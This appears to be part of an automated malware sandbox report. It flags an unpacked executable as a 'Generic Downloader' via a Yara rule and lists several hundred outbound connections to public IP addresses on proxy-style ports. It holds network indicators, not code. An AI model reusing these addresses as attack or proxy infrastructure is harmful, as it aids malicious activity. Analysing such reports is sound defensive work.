Source: unknown	Network traffic detected: HTTP traffic on port 52251 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52214 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 31653
Source: unknown	Network traffic detected: HTTP traffic on port 51650 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 51764
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 38832
Source: unknown	Network traffic detected: HTTP traffic on port 9080 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52255 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 52254 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 52239 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51767
Source: unknown	Network traffic detected: HTTP traffic on port 51354 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 52206 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51441 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 52207 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 9080 -> 50456
Source: unknown	Network traffic detected: HTTP traffic on port 9090 -> 51135
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 52115
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 52161
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50854 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 8060 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 51948
Source: unknown	Network traffic detected: HTTP traffic on port 52208 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51399 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52306 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 52257 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 8081

Yara detected Generic Downloader

Source: Yara match

File source: 5.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE

Source: unknown

Network traffic detected: IP country count 26

Source: global traffic	TCP traffic: 192.168.2.9:49712 -> 161.97.163.52:22040
Source: global traffic	TCP traffic: 192.168.2.9:49713 -> 12.156.45.155:3128
Source: global traffic	TCP traffic: 192.168.2.9:49715 -> 122.155.165.191:3128
Source: global traffic	TCP traffic: 192.168.2.9:49716 -> 85.25.177.53:57699
Source: global traffic	TCP traffic: 192.168.2.9:49717 -> 212.220.13.98:4153
Source: global traffic	TCP traffic: 192.168.2.9:49718 -> 188.191.164.55:4890
Source: global traffic	TCP traffic: 192.168.2.9:49720 -> 46.0.203.186:8080
Source: global traffic	TCP traffic: 192.168.2.9:49722 -> 154.83.29.105:3030
Source: global traffic	TCP traffic: 192.168.2.9:49723 -> 39.109.113.97:3128
Source: global traffic	TCP traffic: 192.168.2.9:49724 -> 131.100.48.97:999
Source: global traffic	TCP traffic: 192.168.2.9:49726 -> 46.209.54.102:8080
Source: global traffic	TCP traffic: 192.168.2.9:49728 -> 8.217.143.187:15673
Source: global traffic	TCP traffic: 192.168.2.9:49727 -> 162.241.66.135:34455
Source: global traffic	TCP traffic: 192.168.2.9:49730 -> 8.217.44.229:15673
Source: global traffic	TCP traffic: 192.168.2.9:49731 -> 157.230.8.196:7497
Source: global traffic	TCP traffic: 192.168.2.9:49732 -> 61.7.138.243:8080
Source: global traffic	TCP traffic: 192.168.2.9:49733 -> 46.209.207.149:8080
Source: global traffic	TCP traffic: 192.168.2.9:49734 -> 165.232.158.60:3128
Source: global traffic	TCP traffic: 192.168.2.9:49735 -> 104.128.103.32:64312
Source: global traffic	TCP traffic: 192.168.2.9:49736 -> 180.180.218.250:8080
Source: global traffic	TCP traffic: 192.168.2.9:49737 -> 138.68.155.22:35650
Source: global traffic	TCP traffic: 192.168.2.9:49738 -> 114.106.173.229:8089
Source: global traffic	TCP traffic: 192.168.2.9:49739 -> 91.134.140.160:32588
Source: global traffic	TCP traffic: 192.168.2.9:49741 -> 103.209.230.185:4153
Source: global traffic	TCP traffic: 192.168.2.9:49742 -> 103.233.2.90:47270
Source: global traffic	TCP traffic: 192.168.2.9:49743 -> 181.78.19.242:999
Source: global traffic	TCP traffic: 192.168.2.9:49744 -> 189.173.223.225:999
Source: global traffic	TCP traffic: 192.168.2.9:49745 -> 101.255.116.163:33333
Source: global traffic	TCP traffic: 192.168.2.9:49747 -> 103.167.68.77:8080
Source: global traffic	TCP traffic: 192.168.2.9:49749 -> 185.164.163.135:8118
Source: global traffic	TCP traffic: 192.168.2.9:49752 -> 92.204.135.203:29212
Source: global traffic	TCP traffic: 192.168.2.9:49753 -> 103.224.124.75:8080
Source: global traffic	TCP traffic: 192.168.2.9:49755 -> 132.148.128.88:29313
Source: global traffic	TCP traffic: 192.168.2.9:49756 -> 183.234.85.26:9002
Source: global traffic	TCP traffic: 192.168.2.9:49757 -> 185.165.232.45:6060
Source: global traffic	TCP traffic: 192.168.2.9:49759 -> 12.89.124.138:4145
Source: global traffic	TCP traffic: 192.168.2.9:49760 -> 195.93.172.32:3128
Source: global traffic	TCP traffic: 192.168.2.9:49761 -> 31.169.79.37:1080
Source: global traffic	TCP traffic: 192.168.2.9:49762 -> 162.254.38.202:24000
Source: global traffic	TCP traffic: 192.168.2.9:49763 -> 162.241.45.22:55610
Source: global traffic	TCP traffic: 192.168.2.9:49764 -> 37.187.77.58:52593
Source: global traffic	TCP traffic: 192.168.2.9:49765 -> 84.17.51.235:3128
Source: global traffic	TCP traffic: 192.168.2.9:49766 -> 103.122.60.241:8080
Source: global traffic	TCP traffic: 192.168.2.9:49767 -> 38.10.69.109:9090
Source: global traffic	TCP traffic: 192.168.2.9:49768 -> 103.206.208.135:55443
Source: global traffic	TCP traffic: 192.168.2.9:49769 -> 95.38.95.55:9050
Source: global traffic	TCP traffic: 192.168.2.9:49772 -> 72.10.160.170:5385
Source: global traffic	TCP traffic: 192.168.2.9:49773 -> 212.110.188.220:34409
Source: global traffic	TCP traffic: 192.168.2.9:49774 -> 185.123.143.251:3128
Source: global traffic	TCP traffic: 192.168.2.9:49775 -> 67.43.236.20:11679
Source: global traffic	TCP traffic: 192.168.2.9:49776 -> 49.12.126.53:57144
Source: global traffic	TCP traffic: 192.168.2.9:49779 -> 103.245.204.214:8080
Source: global traffic	TCP traffic: 192.168.2.9:49782 -> 103.106.115.50:3128
Source: global traffic	TCP traffic: 192.168.2.9:49783 -> 103.169.148.2:1111
Source: global traffic	TCP traffic: 192.168.2.9:49785 -> 181.209.78.75:999
Source: global traffic	TCP traffic: 192.168.2.9:49786 -> 51.222.241.157:2563
Source: global traffic	TCP traffic: 192.168.2.9:49787 -> 155.50.241.99:3128
Source: global traffic	TCP traffic: 192.168.2.9:49788 -> 103.78.96.146:8181
Source: global traffic	TCP traffic: 192.168.2.9:49789 -> 38.49.129.154:999
Source: global traffic	TCP traffic: 192.168.2.9:49791 -> 103.48.69.113:83
Source: global traffic	TCP traffic: 192.168.2.9:49793 -> 157.230.226.230:1202
Source: global traffic	TCP traffic: 192.168.2.9:49795 -> 190.110.99.189:999
Source: global traffic	TCP traffic: 192.168.2.9:49796 -> 202.144.134.150:5678
Source: global traffic	TCP traffic: 192.168.2.9:49797 -> 160.248.80.91:8080
Source: global traffic	TCP traffic: 192.168.2.9:49798 -> 185.171.54.34:4153
Source: global traffic	TCP traffic: 192.168.2.9:49799 -> 178.213.24.233:8080
Source: global traffic	TCP traffic: 192.168.2.9:49800 -> 177.72.115.25:31164
Source: global traffic	TCP traffic: 192.168.2.9:49801 -> 103.179.252.86:8181
Source: global traffic	TCP traffic: 192.168.2.9:49802 -> 167.86.69.142:42214
Source: global traffic	TCP traffic: 192.168.2.9:49804 -> 188.190.40.44:8080
Source: global traffic	TCP traffic: 192.168.2.9:49807 -> 164.92.86.113:64110
Source: global traffic	TCP traffic: 192.168.2.9:49808 -> 162.214.225.223:63452
Source: global traffic	TCP traffic: 192.168.2.9:49809 -> 103.130.82.46:8080
Source: global traffic	TCP traffic: 192.168.2.9:49810 -> 197.234.13.6:4145
Source: global traffic	TCP traffic: 192.168.2.9:49811 -> 84.241.8.234:8080
Source: global traffic	TCP traffic: 192.168.2.9:49812 -> 102.68.128.218:8080
Source: global traffic	TCP traffic: 192.168.2.9:49813 -> 103.245.16.133:8080
Source: global traffic	TCP traffic: 192.168.2.9:49814 -> 36.255.211.1:55438
Source: global traffic	TCP traffic: 192.168.2.9:49815 -> 42.61.48.219:8000
Source: global traffic	TCP traffic: 192.168.2.9:49819 -> 103.189.249.196:1111
Source: global traffic	TCP traffic: 192.168.2.9:49820 -> 103.167.68.255:8080
Source: global traffic	TCP traffic: 192.168.2.9:49821 -> 74.119.144.60:4145
Source: global traffic	TCP traffic: 192.168.2.9:49822 -> 45.128.135.253:1080
Source: global traffic	TCP traffic: 192.168.2.9:49823 -> 113.223.213.242:8089
Source: global traffic	TCP traffic: 192.168.2.9:49824 -> 37.32.98.160:37758
Source: global traffic	TCP traffic: 192.168.2.9:49825 -> 213.135.234.101:4153
Source: global traffic	TCP traffic: 192.168.2.9:49826 -> 188.132.222.194:8080
Source: global traffic	TCP traffic: 192.168.2.9:49827 -> 12.7.109.1:9812
Source: global traffic	TCP traffic: 192.168.2.9:49828 -> 162.241.158.204:44607
Source: global traffic	TCP traffic: 192.168.2.9:49829 -> 182.160.103.220:8090
Source: global traffic	TCP traffic: 192.168.2.9:49832 -> 216.10.242.18:40571
Source: global traffic	TCP traffic: 192.168.2.9:49833 -> 163.172.129.251:16379
Source: global traffic	TCP traffic: 192.168.2.9:49834 -> 119.3.215.41:8888
Source: global traffic	TCP traffic: 192.168.2.9:49835 -> 142.93.2.226:8000
Source: global traffic	TCP traffic: 192.168.2.9:49836 -> 66.228.140.209:8899
Source: global traffic	TCP traffic: 192.168.2.9:49837 -> 1.10.183.22:8080
Source: global traffic	TCP traffic: 192.168.2.9:49839 -> 181.117.128.38:5678
Source: global traffic	TCP traffic: 192.168.2.9:49840 -> 85.25.93.172:5566
Source: global traffic	TCP traffic: 192.168.2.9:49841 -> 92.205.28.245:8560
Source: global traffic	TCP traffic: 192.168.2.9:49842 -> 91.241.131.179:9834
Source: global traffic	TCP traffic: 192.168.2.9:49843 -> 162.241.114.39:10249
Source: global traffic	TCP traffic: 192.168.2.9:49844 -> 81.134.57.82:3128
Source: global traffic	TCP traffic: 192.168.2.9:49845 -> 72.10.160.90:11691
Source: global traffic	TCP traffic: 192.168.2.9:49846 -> 91.189.177.189:3128
Source: global traffic	TCP traffic: 192.168.2.9:49847 -> 193.34.95.110:8080
Source: global traffic	TCP traffic: 192.168.2.9:49849 -> 200.55.249.135:8080
Source: global traffic	TCP traffic: 192.168.2.9:49851 -> 132.148.167.243:28040
Source: global traffic	TCP traffic: 192.168.2.9:49852 -> 67.79.51.210:16099
Source: global traffic	TCP traffic: 192.168.2.9:49855 -> 83.238.80.18:8081
Source: global traffic	TCP traffic: 192.168.2.9:49853 -> 67.43.227.227:13351
Source: global traffic	TCP traffic: 192.168.2.9:49854 -> 38.7.204.129:999
Source: global traffic	TCP traffic: 192.168.2.9:49857 -> 103.169.254.186:8061
Source: global traffic	TCP traffic: 192.168.2.9:49859 -> 92.204.134.38:9375
Source: global traffic	TCP traffic: 192.168.2.9:49860 -> 18.237.185.112:3128
Source: global traffic	TCP traffic: 192.168.2.9:49862 -> 31.197.253.254:48678
Source: global traffic	TCP traffic: 192.168.2.9:49865 -> 83.229.61.198:3128
Source: global traffic	TCP traffic: 192.168.2.9:49864 -> 51.161.99.114:29758
Source: global traffic	TCP traffic: 192.168.2.9:49866 -> 125.212.231.220:8080
Source: global traffic	TCP traffic: 192.168.2.9:49867 -> 195.98.74.57:1080
Source: global traffic	TCP traffic: 192.168.2.9:49870 -> 159.203.5.54:58249
Source: global traffic	TCP traffic: 192.168.2.9:49868 -> 103.118.46.61:8080
Source: global traffic	TCP traffic: 192.168.2.9:49869 -> 162.214.227.68:31042
Source: global traffic	TCP traffic: 192.168.2.9:49871 -> 185.194.11.180:8080
Source: global traffic	TCP traffic: 192.168.2.9:49873 -> 45.117.179.179:6522
Source: global traffic	TCP traffic: 192.168.2.9:49877 -> 213.97.161.224:3128
Source: global traffic	TCP traffic: 192.168.2.9:49876 -> 51.158.172.165:8811
Source: global traffic	TCP traffic: 192.168.2.9:49880 -> 104.248.146.99:3128
Source: global traffic	TCP traffic: 192.168.2.9:49879 -> 195.138.73.54:44017
Source: global traffic	TCP traffic: 192.168.2.9:49883 -> 86.107.178.109:3128
Source: global traffic	TCP traffic: 192.168.2.9:49881 -> 94.131.14.66:1081
Source: global traffic	TCP traffic: 192.168.2.9:49882 -> 106.75.174.172:999
Source: global traffic	TCP traffic: 192.168.2.9:49885 -> 69.61.200.104:36181
Source: global traffic	TCP traffic: 192.168.2.9:49884 -> 187.188.169.169:8080
Source: global traffic	TCP traffic: 192.168.2.9:49886 -> 31.24.44.92:50109
Source: global traffic	TCP traffic: 192.168.2.9:49888 -> 88.255.102.40:1080
Source: global traffic	TCP traffic: 192.168.2.9:49889 -> 212.110.188.189:34405
Source: global traffic	TCP traffic: 192.168.2.9:49890 -> 198.57.195.42:38242
Source: global traffic	TCP traffic: 192.168.2.9:49892 -> 160.16.90.35:3128
Source: global traffic	TCP traffic: 192.168.2.9:49893 -> 39.108.229.14:8002
Source: global traffic	TCP traffic: 192.168.2.9:49895 -> 147.182.194.76:29703
Source: global traffic	TCP traffic: 192.168.2.9:49897 -> 45.159.189.244:3128
Source: global traffic	TCP traffic: 192.168.2.9:49898 -> 177.136.84.200:999
Source: global traffic	TCP traffic: 192.168.2.9:49901 -> 207.244.241.165:53718
Source: global traffic	TCP traffic: 192.168.2.9:49902 -> 185.108.141.19:8080
Source: global traffic	TCP traffic: 192.168.2.9:49903 -> 171.247.245.221:1080
Source: global traffic	TCP traffic: 192.168.2.9:49906 -> 185.136.150.252:4145
Source: global traffic	TCP traffic: 192.168.2.9:49907 -> 91.187.113.68:8080
Source: global traffic	TCP traffic: 192.168.2.9:49908 -> 208.109.39.171:58438
Source: global traffic	TCP traffic: 192.168.2.9:49911 -> 168.138.162.66:1080
Source: global traffic	TCP traffic: 192.168.2.9:49912 -> 103.108.89.164:8082
Source: global traffic	TCP traffic: 192.168.2.9:49913 -> 45.11.95.165:5219
Source: global traffic	TCP traffic: 192.168.2.9:49914 -> 5.180.19.163:1080
Source: global traffic	TCP traffic: 192.168.2.9:49915 -> 95.216.224.15:59792
Source: global traffic	TCP traffic: 192.168.2.9:49916 -> 103.47.93.216:1080
Source: global traffic	TCP traffic: 192.168.2.9:49918 -> 162.241.53.72:62192
Source: global traffic	TCP traffic: 192.168.2.9:49920 -> 77.77.64.116:3128
Source: global traffic	TCP traffic: 192.168.2.9:49921 -> 200.116.198.160:58927
Source: global traffic	TCP traffic: 192.168.2.9:49922 -> 45.162.132.129:999
Source: global traffic	TCP traffic: 192.168.2.9:49923 -> 188.164.193.178:11251
Source: global traffic	TCP traffic: 192.168.2.9:49924 -> 158.247.207.153:3030
Source: global traffic	TCP traffic: 192.168.2.9:49925 -> 200.54.22.74:8080
Source: global traffic	TCP traffic: 192.168.2.9:49927 -> 163.172.169.27:16379
Source: global traffic	TCP traffic: 192.168.2.9:49928 -> 24.176.53.183:8080
Source: global traffic	TCP traffic: 192.168.2.9:49929 -> 185.82.218.52:1080
Source: global traffic	TCP traffic: 192.168.2.9:49930 -> 103.59.190.209:56252
Source: global traffic	TCP traffic: 192.168.2.9:49931 -> 190.97.238.84:999
Source: global traffic	TCP traffic: 192.168.2.9:49934 -> 184.178.172.14:4145
Source: global traffic	TCP traffic: 192.168.2.9:49937 -> 147.75.34.85:10011
Source: global traffic	TCP traffic: 192.168.2.9:49939 -> 193.239.86.249:3128
Source: global traffic	TCP traffic: 192.168.2.9:49940 -> 103.105.228.35:8080
Source: global traffic	TCP traffic: 192.168.2.9:49941 -> 20.205.61.143:8123
Source: global traffic	TCP traffic: 192.168.2.9:49943 -> 165.232.89.116:3128
Source: global traffic	TCP traffic: 192.168.2.9:49944 -> 128.199.196.31:27102
Source: global traffic	TCP traffic: 192.168.2.9:49945 -> 183.100.14.134:8000
Source: global traffic	TCP traffic: 192.168.2.9:49946 -> 66.228.37.252:7841
Source: global traffic	TCP traffic: 192.168.2.9:49947 -> 103.148.51.19:8080
Source: global traffic	TCP traffic: 192.168.2.9:49951 -> 162.241.79.22:35318
Source: global traffic	TCP traffic: 192.168.2.9:49953 -> 43.129.228.46:7891
Source: global traffic	TCP traffic: 192.168.2.9:49954 -> 104.192.202.11:8080
Source: global traffic	TCP traffic: 192.168.2.9:49955 -> 152.32.187.164:8118
Source: global traffic	TCP traffic: 192.168.2.9:49956 -> 148.72.212.198:3950
Source: global traffic	TCP traffic: 192.168.2.9:49957 -> 209.126.104.38:12457
Source: global traffic	TCP traffic: 192.168.2.9:49958 -> 51.75.126.150:19693
Source: global traffic	TCP traffic: 192.168.2.9:49959 -> 112.78.131.6:8080
Source: global traffic	TCP traffic: 192.168.2.9:49960 -> 221.120.218.188:5678
Source: global traffic	TCP traffic: 192.168.2.9:49961 -> 185.189.199.75:23500
Source: global traffic	TCP traffic: 192.168.2.9:49964 -> 154.12.253.232:57447
Source: global traffic	TCP traffic: 192.168.2.9:49965 -> 103.242.107.146:8080
Source: global traffic	TCP traffic: 192.168.2.9:49967 -> 45.5.118.43:999
Source: global traffic	TCP traffic: 192.168.2.9:49968 -> 184.181.217.213:4145
Source: global traffic	TCP traffic: 192.168.2.9:49969 -> 213.171.214.19:8001
Source: global traffic	TCP traffic: 192.168.2.9:49970 -> 222.124.130.197:4145
Source: global traffic	TCP traffic: 192.168.2.9:49971 -> 78.47.103.89:8080
Source: global traffic	TCP traffic: 192.168.2.9:49972 -> 131.100.51.97:999
Source: global traffic	TCP traffic: 192.168.2.9:49973 -> 8.217.95.44:8899
Source: global traffic	TCP traffic: 192.168.2.9:49975 -> 181.209.78.76:999
Source: global traffic	TCP traffic: 192.168.2.9:49976 -> 72.167.222.113:39574
Source: global traffic	TCP traffic: 192.168.2.9:49977 -> 38.52.193.193:999
Source: global traffic	TCP traffic: 192.168.2.9:49979 -> 176.98.22.224:8181
Source: global traffic	TCP traffic: 192.168.2.9:49980 -> 138.36.196.11:4153
Source: global traffic	TCP traffic: 192.168.2.9:49981 -> 113.160.247.27:19132
Source: global traffic	TCP traffic: 192.168.2.9:49984 -> 103.83.0.46:8080
Source: global traffic	TCP traffic: 192.168.2.9:49985 -> 101.255.118.10:3127
Source: global traffic	TCP traffic: 192.168.2.9:49987 -> 43.229.254.163:1080
Source: global traffic	TCP traffic: 192.168.2.9:49988 -> 186.103.130.91:8080
Source: global traffic	TCP traffic: 192.168.2.9:49990 -> 49.48.126.12:8080
Source: global traffic	TCP traffic: 192.168.2.9:49991 -> 187.157.243.254:8080
Source: global traffic	TCP traffic: 192.168.2.9:49993 -> 181.78.19.249:999
Source: global traffic	TCP traffic: 192.168.2.9:49998 -> 161.97.173.42:50386
Source: global traffic	TCP traffic: 192.168.2.9:49999 -> 184.181.217.206:4145
Source: global traffic	TCP traffic: 192.168.2.9:50000 -> 37.120.222.132:3128
Source: global traffic	TCP traffic: 192.168.2.9:50001 -> 103.145.45.57:55443
Source: global traffic	TCP traffic: 192.168.2.9:50002 -> 38.54.101.254:3128
Source: global traffic	TCP traffic: 192.168.2.9:50003 -> 220.248.70.237:9002
Source: global traffic	TCP traffic: 192.168.2.9:50004 -> 45.126.169.137:4145
Source: global traffic	TCP traffic: 192.168.2.9:50005 -> 50.113.36.155:8080
Source: global traffic	TCP traffic: 192.168.2.9:50006 -> 8.242.85.6:999
Source: global traffic	TCP traffic: 192.168.2.9:50008 -> 109.73.184.94:23500
Source: global traffic	TCP traffic: 192.168.2.9:50010 -> 46.209.207.153:8080
Source: global traffic	TCP traffic: 192.168.2.9:50012 -> 117.160.250.163:8081
Source: global traffic	TCP traffic: 192.168.2.9:50011 -> 46.17.63.166:10000
Source: global traffic	TCP traffic: 192.168.2.9:50014 -> 167.172.109.12:39533
Source: global traffic	TCP traffic: 192.168.2.9:50013 -> 159.223.71.71:51616
Source: global traffic	TCP traffic: 192.168.2.9:50016 -> 200.170.196.94:1080
Source: global traffic	TCP traffic: 192.168.2.9:50017 -> 103.52.17.69:1234
Source: global traffic	TCP traffic: 192.168.2.9:50018 -> 51.38.63.124:27294
Source: global traffic	TCP traffic: 192.168.2.9:50019 -> 169.239.45.51:4153
Source: global traffic	TCP traffic: 192.168.2.9:50021 -> 119.18.158.130:4153
Source: global traffic	TCP traffic: 192.168.2.9:50020 -> 92.249.122.108:61778
Source: global traffic	TCP traffic: 192.168.2.9:50022 -> 115.127.190.42:6979
Source: global traffic	TCP traffic: 192.168.2.9:50023 -> 72.10.164.178:1581
Source: global traffic	TCP traffic: 192.168.2.9:50024 -> 165.16.55.19:44444
Source: global traffic	TCP traffic: 192.168.2.9:50027 -> 201.157.254.26:8080
Source: global traffic	TCP traffic: 192.168.2.9:50029 -> 190.95.195.105:999
Source: global traffic	TCP traffic: 192.168.2.9:50030 -> 45.234.100.112:1080
Source: global traffic	TCP traffic: 192.168.2.9:50031 -> 67.43.227.228:22611
Source: global traffic	TCP traffic: 192.168.2.9:50032 -> 216.176.187.99:8889
Source: global traffic	TCP traffic: 192.168.2.9:50034 -> 151.236.39.7:58266
Source: global traffic	TCP traffic: 192.168.2.9:50035 -> 34.84.95.189:8080
Source: global traffic	TCP traffic: 192.168.2.9:50037 -> 84.17.35.129:3128
Source: global traffic	TCP traffic: 192.168.2.9:50039 -> 72.210.221.223:4145
Source: global traffic	TCP traffic: 192.168.2.9:50041 -> 139.162.181.177:27660
Source: global traffic	TCP traffic: 192.168.2.9:50047 -> 1.224.3.122:3888
Source: global traffic	TCP traffic: 192.168.2.9:50048 -> 46.21.153.16:3128
Source: global traffic	TCP traffic: 192.168.2.9:50049 -> 111.16.50.12:9002
Source: global traffic	TCP traffic: 192.168.2.9:50051 -> 31.211.158.245:5905
Source: global traffic	TCP traffic: 192.168.2.9:50052 -> 103.134.165.38:8080
Source: global traffic	TCP traffic: 192.168.2.9:50053 -> 72.10.160.173:10677
Source: global traffic	TCP traffic: 192.168.2.9:50054 -> 103.51.44.5:4145
Source: global traffic	TCP traffic: 192.168.2.9:50055 -> 51.159.221.176:8635
Source: global traffic	TCP traffic: 192.168.2.9:50056 -> 37.187.73.7:23637
Source: global traffic	TCP traffic: 192.168.2.9:50057 -> 163.172.131.178:16379
Source: global traffic	TCP traffic: 192.168.2.9:50058 -> 41.33.66.228:1981
Source: global traffic	TCP traffic: 192.168.2.9:50059 -> 148.72.209.174:38088
Source: global traffic	TCP traffic: 192.168.2.9:50060 -> 103.6.177.174:8002
Source: global traffic	TCP traffic: 192.168.2.9:50062 -> 103.94.133.91:4153
Source: global traffic	TCP traffic: 192.168.2.9:50061 -> 45.188.164.3:1994
Source: global traffic	TCP traffic: 192.168.2.9:50063 -> 181.212.136.34:48993
Source: global traffic	TCP traffic: 192.168.2.9:50064 -> 147.75.92.251:10089
Source: global traffic	TCP traffic: 192.168.2.9:50066 -> 107.180.103.214:61634
Source: global traffic	TCP traffic: 192.168.2.9:50067 -> 45.65.229.19:4145
Source: global traffic	TCP traffic: 192.168.2.9:50068 -> 103.85.103.17:5678
Source: global traffic	TCP traffic: 192.168.2.9:50069 -> 182.16.171.65:43188
Source: global traffic	TCP traffic: 192.168.2.9:50071 -> 209.126.4.217:39757
Source: global traffic	TCP traffic: 192.168.2.9:50072 -> 93.171.224.46:4153
Source: global traffic	TCP traffic: 192.168.2.9:50073 -> 94.124.16.218:8901
Source: global traffic	TCP traffic: 192.168.2.9:50075 -> 189.126.14.226:1080
Source: global traffic	TCP traffic: 192.168.2.9:50076 -> 194.124.36.75:8080
Source: global traffic	TCP traffic: 192.168.2.9:50077 -> 45.82.15.11:8888
Source: global traffic	TCP traffic: 192.168.2.9:50078 -> 88.202.230.103:46475
Source: global traffic	TCP traffic: 192.168.2.9:50080 -> 198.12.255.193:6821
Source: global traffic	TCP traffic: 192.168.2.9:50081 -> 132.148.16.169:52326
Source: global traffic	TCP traffic: 192.168.2.9:50082 -> 8.213.128.90:4506
Source: global traffic	TCP traffic: 192.168.2.9:50083 -> 103.74.229.133:8080
Source: global traffic	TCP traffic: 192.168.2.9:50085 -> 47.243.177.21:8088
Source: global traffic	TCP traffic: 192.168.2.9:50087 -> 160.153.245.187:6116
Source: global traffic	TCP traffic: 192.168.2.9:50088 -> 211.222.252.187:8193
Source: global traffic	TCP traffic: 192.168.2.9:50091 -> 58.234.116.197:8193
Source: global traffic	TCP traffic: 192.168.2.9:50092 -> 83.219.145.108:3128
Source: global traffic	TCP traffic: 192.168.2.9:50094 -> 103.54.36.90:8674
Source: global traffic	TCP traffic: 192.168.2.9:50096 -> 154.0.14.116:3128
Source: global traffic	TCP traffic: 192.168.2.9:50100 -> 103.231.248.98:3128
Source: global traffic	TCP traffic: 192.168.2.9:50099 -> 47.242.15.120:15673
Source: global traffic	TCP traffic: 192.168.2.9:50101 -> 95.106.182.236:8080
Source: global traffic	TCP traffic: 192.168.2.9:50102 -> 66.42.60.190:21358
Source: global traffic	TCP traffic: 192.168.2.9:50104 -> 189.240.60.163:9090
Source: global traffic	TCP traffic: 192.168.2.9:50105 -> 103.114.53.2:8080
Source: global traffic	TCP traffic: 192.168.2.9:50107 -> 45.181.123.151:999
Source: global traffic	TCP traffic: 192.168.2.9:50109 -> 85.238.74.91:8080
Source: global traffic	TCP traffic: 192.168.2.9:50108 -> 107.180.90.88:20309
Source: global traffic	TCP traffic: 192.168.2.9:50110 -> 86.107.179.244:3128
Source: global traffic	TCP traffic: 192.168.2.9:50112 -> 109.86.182.203:3128
Source: global traffic	TCP traffic: 192.168.2.9:50113 -> 92.119.238.211:8080
Source: global traffic	TCP traffic: 192.168.2.9:50115 -> 103.177.21.9:8080
Source: global traffic	TCP traffic: 192.168.2.9:50116 -> 132.148.245.247:60349
Source: global traffic	TCP traffic: 192.168.2.9:50119 -> 72.206.181.123:4145
Source: global traffic	TCP traffic: 192.168.2.9:50120 -> 201.20.94.93:8080
Source: global traffic	TCP traffic: 192.168.2.9:50121 -> 38.41.27.150:11201
Source: global traffic	TCP traffic: 192.168.2.9:50122 -> 103.190.54.141:8080
Source: global traffic	TCP traffic: 192.168.2.9:50124 -> 144.91.106.93:3128
Source: global traffic	TCP traffic: 192.168.2.9:50126 -> 186.148.181.69:999
Source: global traffic	TCP traffic: 192.168.2.9:50127 -> 159.223.166.21:21898
Source: global traffic	TCP traffic: 192.168.2.9:50128 -> 103.105.126.30:83
Source: global traffic	TCP traffic: 192.168.2.9:50129 -> 187.63.9.62:63253
Source: global traffic	TCP traffic: 192.168.2.9:50130 -> 20.204.214.79:3129
Source: global traffic	TCP traffic: 192.168.2.9:50131 -> 200.70.56.204:4153
Source: global traffic	TCP traffic: 192.168.2.9:50132 -> 222.124.130.195:4145
Source: global traffic	TCP traffic: 192.168.2.9:50135 -> 89.117.57.158:3128
Source: global traffic	TCP traffic: 192.168.2.9:50137 -> 49.13.124.150:8080
Source: global traffic	TCP traffic: 192.168.2.9:50139 -> 138.36.150.16:1080
Source: global traffic	TCP traffic: 192.168.2.9:50140 -> 161.34.67.83:3128
Source: global traffic	TCP traffic: 192.168.2.9:50142 -> 167.99.39.82:13486
Source: global traffic	TCP traffic: 192.168.2.9:50143 -> 45.125.222.81:8080
Source: global traffic	TCP traffic: 192.168.2.9:50144 -> 199.102.106.94:4145
Source: global traffic	TCP traffic: 192.168.2.9:50145 -> 31.211.130.237:8192
Source: global traffic	TCP traffic: 192.168.2.9:50146 -> 60.190.68.154:7302
Source: global traffic	TCP traffic: 192.168.2.9:50148 -> 162.12.217.4:3629
Source: global traffic	TCP traffic: 192.168.2.9:50151 -> 49.228.131.169:5000
Source: global traffic	TCP traffic: 192.168.2.9:50150 -> 130.162.213.175:3129
Source: global traffic	TCP traffic: 192.168.2.9:50152 -> 161.132.125.244:8080
Source: global traffic	TCP traffic: 192.168.2.9:50154 -> 162.241.6.97:45629
Source: global traffic	TCP traffic: 192.168.2.9:50156 -> 103.90.227.244:3128
Source: global traffic	TCP traffic: 192.168.2.9:50155 -> 46.105.35.193:8080
Source: global traffic	TCP traffic: 192.168.2.9:50157 -> 103.159.66.61:8080
Source: global traffic	TCP traffic: 192.168.2.9:50160 -> 103.152.232.68:8181
Source: global traffic	TCP traffic: 192.168.2.9:50161 -> 193.239.86.248:3128
Source: global traffic	TCP traffic: 192.168.2.9:50162 -> 212.110.188.222:34411
Source: global traffic	TCP traffic: 192.168.2.9:50163 -> 103.127.38.46:1080
Source: global traffic	TCP traffic: 192.168.2.9:50164 -> 41.139.197.185:8080
Source: global traffic	TCP traffic: 192.168.2.9:50166 -> 179.125.51.54:27234
Source: global traffic	TCP traffic: 192.168.2.9:50168 -> 67.43.228.253:23085
Source: global traffic	TCP traffic: 192.168.2.9:50171 -> 188.132.221.163:8080
Source: global traffic	TCP traffic: 192.168.2.9:50170 -> 200.105.192.6:5678
Source: global traffic	TCP traffic: 192.168.2.9:50173 -> 163.172.94.175:21617
Source: global traffic	TCP traffic: 192.168.2.9:50175 -> 168.228.36.22:27234
Source: global traffic	TCP traffic: 192.168.2.9:50176 -> 118.172.239.231:8180
Source: global traffic	TCP traffic: 192.168.2.9:50179 -> 43.128.40.142:65533
